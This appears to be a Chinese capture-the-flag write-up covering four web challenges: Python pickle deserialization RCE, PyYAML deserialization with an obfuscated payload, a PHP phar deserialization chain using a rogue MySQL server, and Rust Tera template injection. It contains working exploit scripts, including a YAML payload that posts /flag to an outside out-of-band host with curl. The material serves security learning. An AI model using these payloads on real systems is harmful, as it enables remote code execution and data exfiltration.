const_python 自认为搭建了一个完美的web应用,不会有问题,很自信地在src存放了源码,应该不会有人能拿到/flag的内容。
访问/src拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import builtinsimport ioimport sysimport uuidfrom flask import Flask, request,jsonify,sessionimport pickleimport base64app = Flask(__name__) app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) class User : def __init__ (self, username, password, auth='ctfer' ): self .username = username self .password = password self .auth = auth password = str (uuid.uuid4()).replace("-" , "" ) Admin = User('admin' , password,"admin" ) @app.route('/' ) def index (): return "Welcome to my application" @app.route('/login' , methods=['GET' , 'POST' ] ) def post_login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] if username == 'admin' : if password == admin.password: session['username' ] = "admin" return "Welcome Admin" else : return "Invalid Credentials" else : session['username' ] = username return
源码中发现还有东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @app.route('/ppicklee' , methods=['POST' ] ) def ppicklee (): data = request.form['data' ] sys.modules['os' ] = "not allowed" sys.modules['sys' ] = "not allowed" try : pickle_data = base64.b64decode(data) for i in {"os" , "system" , "eval" , 'setstate' , "globals" , 'exec' , '__builtins__' , 'template' , 'render' , '\\' , 'compile' , 'requests' , 'exit' , 'pickle' ,"class" ,"mro" ,"flask" ,"sys" ,"base" ,"init" ,"config" ,"session" }: if i.encode() in pickle_data: return i+" waf !!!!!!!" pickle.loads(pickle_data) return "success pickle" except Exception as e: return "fail pickle" @app.route('/admin' , methods=['POST' ] ) def admin (): username = session['username' ] if username != "admin" : return jsonify({"message" : 'You are not admin!' }) return "Welcome Admin" @app.route('/src' ) def src (): return open ("app.py" , "r" ,encoding="utf-8" ).read() if __name__ == '__main__' :
一眼看出来是pickle反序列化进行rce,但是这里过滤了这么多
1 2 3 4 for i in {"os" , "system" , "eval" , 'setstate' , "globals" , 'exec' , '__builtins__' , 'template' , 'render' , '\\' , 'compile' , 'requests' , 'exit' , 'pickle' ,"class" ,"mro" ,"flask" ,"sys" ,"base" ,"init" ,"config" ,"session" }: if i.encode() in pickle_data: return i+" waf !!!!!!!"
这时候该如何绕过呢?
看wp然后搜了一下subprocess模块,发现这是os.system的代替品,刚好也可以拿来绕过了
语法
1 subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None, **other_popen_kwargs)
那我们用reduce方法去打pickle反序列化,不过这里的话是无回显的,这里需要注意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import pickleimport subprocessimport base64import requestsurl = "http://a7bad090-1104-44ff-8d73-26fec859fa88.node5.buuoj.cn:81/ppicklee" class Test : def __reduce__ (self ): return (subprocess.run, (["bash" , "-c" , "ls / > app.py" ],), {"shell" : True }) test = Test() pickle_data = pickle.dumps(test) pickle_data_base64 = base64.b64encode(pickle_data).decode('utf-8' ) print (pickle_data)print (pickle_data_base64)data = { "data" : pickle_data_base64, } r = requests.post(url, data=data) print (r.text)
然后我们访问/src
然后cat一下flag就行
yaml_matser 看一下附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import osimport reimport yamlfrom flask import Flask, request, jsonify, render_templateapp = Flask(__name__, template_folder='templates' ) UPLOAD_FOLDER = 'uploads' os.makedirs(UPLOAD_FOLDER, exist_ok=True ) def waf (input_str ): blacklist_terms = {'apply' , 'subprocess' ,'os' ,'map' , 'system' , 'popen' , 'eval' , 'sleep' , 'setstate' , 'command' ,'static' ,'templates' ,'session' ,'&' ,'globals' ,'builtins' 'run' , 'ntimeit' , 'bash' , 'zsh' , 'sh' , 'curl' , 'nc' , 'env' , 'before_request' , 'after_request' , 'error_handler' , 'add_url_rule' ,'teardown_request' ,'teardown_appcontext' ,'\\u' ,'\\x' ,'+' ,'base64' ,'join' } input_str_lower = str (input_str).lower() for term in blacklist_terms: if term in input_str_lower: print (f"Found blacklisted term: {term} " ) return True return False file_pattern = re.compile (r'.*\.yaml$' ) def is_yaml_file (filename ): return bool (file_pattern.match (filename)) @app.route('/' ) def index (): return ''' Welcome to DASCTF X 0psu3 <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/Yam1">Yam1</a> ''' @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : try : uploaded_file = request.files['file' ] if uploaded_file and is_yaml_file(uploaded_file.filename): file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename) uploaded_file.save(file_path) return jsonify({"message" : "uploaded successfully" }), 200 else : return jsonify({"error" : "Just YAML file" }), 400 except Exception as e: return jsonify({"error" : str (e)}), 500 return render_template('upload.html' ) @app.route('/Yam1' , methods=['GET' , 'POST' ] ) def Yam1 (): filename = request.args.get('filename' ,'' ) if filename: with open (f'uploads/{filename} .yaml' , 'rb' ) as f: file_content = f.read() if not waf(file_content): test = yaml.load(file_content) print (test) return 'welcome' if __name__ == '__main__' : app.run()
先理解一下源码,其实就是需要我们上传一个yaml文件去执行RCE,先看看过滤了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def waf (input_str ): blacklist_terms = {'apply' , 'subprocess' ,'os' ,'map' , 'system' , 'popen' , 'eval' , 'sleep' , 'setstate' , 'command' ,'static' ,'templates' ,'session' ,'&' ,'globals' ,'builtins' 'run' , 'ntimeit' , 'bash' , 'zsh' , 'sh' , 'curl' , 'nc' , 'env' , 'before_request' , 'after_request' , 'error_handler' , 'add_url_rule' ,'teardown_request' ,'teardown_appcontext' ,'\\u' ,'\\x' ,'+' ,'base64' ,'join' } input_str_lower = str (input_str).lower() for term in blacklist_terms: if term in input_str_lower: print (f"Found blacklisted term: {term} " ) return True return False
其实过滤的还是蛮多的,很多命令执行函数都被过滤掉了
之前我没有接触过yaml反序列化,做之前还得去学一下,后面发现好像跟pickle没啥太大的区别
这里绕过的话直接用编码去绕过
需要上传一个yml文件,然后通过Yam1函数中的load去实现反序列化进行rce,直接写脚本一把梭
注意这里是无回显的,还得打curl外带或者反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsexp = '__import__("os").system("curl -d @/flag havtes3pel3xmey9c56cvzw1isojcc01.oastify.com")' payload = b""" !!python/object/new:type args: - exp - !!python/tuple [] - {"extend": !!python/name:exec } listitems: \"exec(bytes([[j][0]for(i)in[range(86)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[99]]or[i]in[[26]]and[j]in[[117]]or[i]in[[27]]and[j]in[[114]]or[i]in[[28]]and[j]in[[108]]or[i]in[[29]]and[j]in[[32]]or[i]in[[30]]and[j]in[[45]]or[i]in[[31]]and[j]in[[100]]or[i]in[[32]]and[j]in[[32]]or[i]in[[33]]and[j]in[[64]]or[i]in[[34]]and[j]in[[47]]or[i]in[[35]]and[j]in[[102]]or[i]in[[36]]and[j]in[[108]]or[i]in[[37]]and[j]in[[97]]or[i]in[[38]]and[j]in[[103]]or[i]in[[39]]and[j]in[[32]]or[i]in[[40]]and[j]in[[104]]or[i]in[[41]]and[j]in[[97]]or[i]in[[42]]and[j]in[[118]]or[i]in[[43]]and[j]in[[116]]or[i]in[[44]]and[j]in[[101]]or[i]in[[45]]and[j]in[[115]]or[i]in[[46]]and[j]in[[51]]or[i]in[[47]]and[j]in[[112]]or[i]in[[48]]and[j]in[[101]]or[i]in[[49]]and[j]in[[108]]or[i]in[[50]]and[j]in[[51]]or[i]in[[51]]and[j]in[[120]]or[i]in[[52]]and[j]in[[109]]or[i]in[[53]]and[j]in[[101]]or[i]in[[54]]and[j]in[[121]]or[i]in[[55]]and[j]in[[57]]or[i]in[[56]]and[j]in[[99]]or[i]in[[57]]and[j]in[[53]]or[i]in[[58]]and[j]in[[54]]or[i]in[[59]]and[j]in[[99]]or[i]in[[60]]and[j]in[[118]]or[i]in[[61]]and[j]in[[122]]or[i]in[[62]]and[j]in[[119]]or[i]in[[63]]and[j]in[[49]]or[i]in[[64]]and[j]in[[105]]or[i]in[[65]]and[j]in[[115]]or[i]in[[66]]and[j]in[[111]]or[i]in[[67]]and[j]in[[106]]or[i]in[[68]]and[j]in[[99]]or[i]in[[69]]and[j]in[[99]]or[i]in[[70]]and[j]in[[48]]or[i]in[[71]]and[j]in[[49]]or[i]in[[72]]and[j]in[[46]]or[i]in[[73]]and[j]in[[111]]or[i]in[[74]]and[j]in[[97]]or[i]in[[75]]and[j]in[[115]]or[i]in[[76]]and[j]in[[116]]or[i]in[[77]]and[j]in[[105]]or[i]in[[78]]and[j]in[[102]]or[i]in[[79]]and[j]in[[121]]or[i]in[[80]]and[j]in[[46]]or[i]in[[81]]and[j]in[[99]]or[i]in[[82]]and[j]in[[111]]or[i]in[[83]]and[j]in[[109]]or[i]in[[84]]and[j]in[[34]]or[i]in[[85]]and[j]in[[41]]]))\"""" url = "http://node5.buuoj.cn:26378/" r1=requests.post(url + "/upload" , files={'file' : ('poc1.yaml' , payload, 'application/octet-stream' )}) print (r1.text)r2 = requests.get(url + "/Yam1?filename=poc1" ) print (r2.text)
strange_php 附件有很多东西,可以放seay里面去审计一下
然后我们看一下源码
在登录和注册页面的源码中对sql语句都是进行了一个预处理操作,估计sql打不通,我们注册登录进去看看
welcome.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php header ('Content-Type: text/html; charset=utf-8' );session_start ();require_once 'PDO_connect.php' ;require_once 'User.php' ;require_once 'UserMessage.php' ;if (!isset ($_SESSION ['user_id' ])) { header ("Location: index.html" ); exit ; } $Message = new UserMessage ();$userMessage = new UserMessage ();$database = new PDO_connect ();$database ->init ();$db = $database ->get_connection ();if (isset ($_POST ['action' ])) { $action = $_POST ['action' ]; echo $action ; switch ($action ) { case 'message' : echo "write messageing" ; $decodedMessage = base64_decode ($_POST ['encodedMessage' ]); $msg = $userMessage ->writeMessage ($decodedMessage ); if ($msg ===false ){ echo "写入失败" ; break ; } $filePath = $userMessage ->get_filePath (); $_SESSION ['message_path' ] = $filePath ; echo "留言已写入: " . $userMessage ->get_filePath (); break ; case 'editMessage' : $decodedEditMessage = base64_decode ($_POST ['encodedEditMessage' ]); if (!isset ($_SESSION ['message_path' ])){ break ; } $msg = $userMessage ->editMessage ($_SESSION ['message_path' ],$decodedEditMessage ); if ($msg ){ echo "留言已成功更改" ; } else { echo "操作失败,请重新尝试" ; } break ; case 'delete' : $message = $_POST ['message_path' ]?$_POST ['message_path' ]:$_SESSION ['message_path' ]; $msg = $userMessage ->deleteMessage ($message ); if ($msg ){ echo "留言已成功删除" ; } else { echo "操作失败,请重新尝试" ; } break ; case 'clean' : exec ('rm log/*' ); exec ('rm txt/*' ); } } ?>
找找可控的参数吧
先看写留言部分
这里的话有一个writeMessage方法,并且$decodedMessage可控,我们跟进这个方法看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public function writeMessage ($message ) { $a = file_put_contents ($this ->filePath, $message ); if ($a === false ) { return false ; } return true ; } | | public function __construct ( ) { $this ->filePath = $this ->generateFileName (); } | | public function generateFileName ( ) { $timestamp = microtime (true ); $hash = md5 ($timestamp ); $fileName = "./txt/" .$hash . ".txt" ; return $fileName ; }
这里的话文件路径是不可控的,但是这个文件内容最终是会被base64解码的,但生成的文件是txt文件,打xss貌似行不通
编辑留言部分也一样没得可用的点,然后看删除留言部分
这个message_path是可控的,我们跟进deleteMessage方法看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 public function deleteMessage ($path ) { $path = $path .".txt" ; if (file_exists ($path )) { $msg = unlink ($path ); if ($msg === false ) { return false ; } return true ; } return false ; }
unlink函数,估计是可以打phar反序列化的,并且message_path可控吗,那该怎么打呢?找找危险函数
1 2 3 4 5 6 7 8 public function __set ($name , $value ) { $this ->$name = $value ; $a = file_get_contents ($this ->filePath)."</br>" ; file_put_contents ("/var/www/html/log/" .md5 ($this ->filePath).".txt" , $a ); }
这里的话有一个file_get_contents函数,看看能不能实现任意文件读取,但这里的前提是filePath可控
怎么触发__set()
呢?
将数据写入不可访问或者不存在的属性,即设置一个类的成员变量,也就是说赋值时触发这个魔术方法
但是如果是在UserMessage类的话显然不可能,我们看PDO_connect类
到这里我就没找到触发的方法,然后看大佬的wp写的是
https://www.cnblogs.com/gxngxngxn/p/18620905
一开始没看明白,后面问了师傅才问明白
PDO::ATTR_DEFAULT_FETCH_MODE=262152
的作用是把sql查询的结果封装成一个对象,而且sql注入第一列的结果是对象的名字
然后入口是在User.php::log()
,这里可以调用到pdo中的get_connection,这里就是我们链子的入口
但是这里没有文件上传的点,所以关键点在于我们写留言的地方,我们需要将phar文件的内容编码然后传入,去生成txt文件
然后我们写链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class User { private $conn ; private $table = 'users' ; public $id ; public $username ="UserMessage" ; private $password ="aaaa" ; public $created_at ; public function __construct ( ) { $this ->conn = new PDO_connect (); } } class PDO_connect { private $pdo ; public $con_options = array ( "dsn" =>"mysql:host=124.223.25.186:3306;dbname=users;charset=utf8" , 'host' =>'124.223.25.186' , 'port' =>'3306' , 'user' =>'joker' , 'password' =>'joker' , 'charset' =>'utf8' , 'options' =>array (PDO::ATTR_DEFAULT_FETCH_MODE =>262152 , PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ) ); public $smt ; } $a = new User ();$phar = new phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER();?>" );$phar ->setMetadata ($a );$phar ->addFromString ("flag.txt" ,"flag" );$phar ->stopBuffering ();$file = file_get_contents ('test.phar' );echo urlencode (base64_encode ($file ));?>
然后我们需要在我们的vps中新建用户joker,并且创建一个users数据库,并需要设置一个filePath列
mysql命令行新建用户
1 2 3 CREATE USER 'joker'@'%' IDENTIFIED BY 'joker'; GRANT ALL PRIVILEGES ON users.* TO 'joker'@'%'; FLUSH PRIVILEGES;
然后我们用phpmyadmin可视化控制数据库,这样更好操作
因为在我们的payload中如果出现phar反序列化的话,会尝试连接我们的数据库,那么就会通过我们设置的filePath去进行任意文件读取
然后删除后触发phar,访问log/0bc7be346d4df269543565b6b7cd231a.txt拿到flag
西湖论剑邀请函获取器 其实能测出来是ssti,但是并不知道是什么框架的,一直以为是flask框架的,测了好久
这里可以看到是存在ssti的,但是并不是我学过的twig,flask的
以为是过滤了,但是一直没绕过去,看了提示知道是RUST的
然后rust下tera框架的注入,但是只写了如何读取环境变量
payload
1 {{ get_env(name="FLAG") }}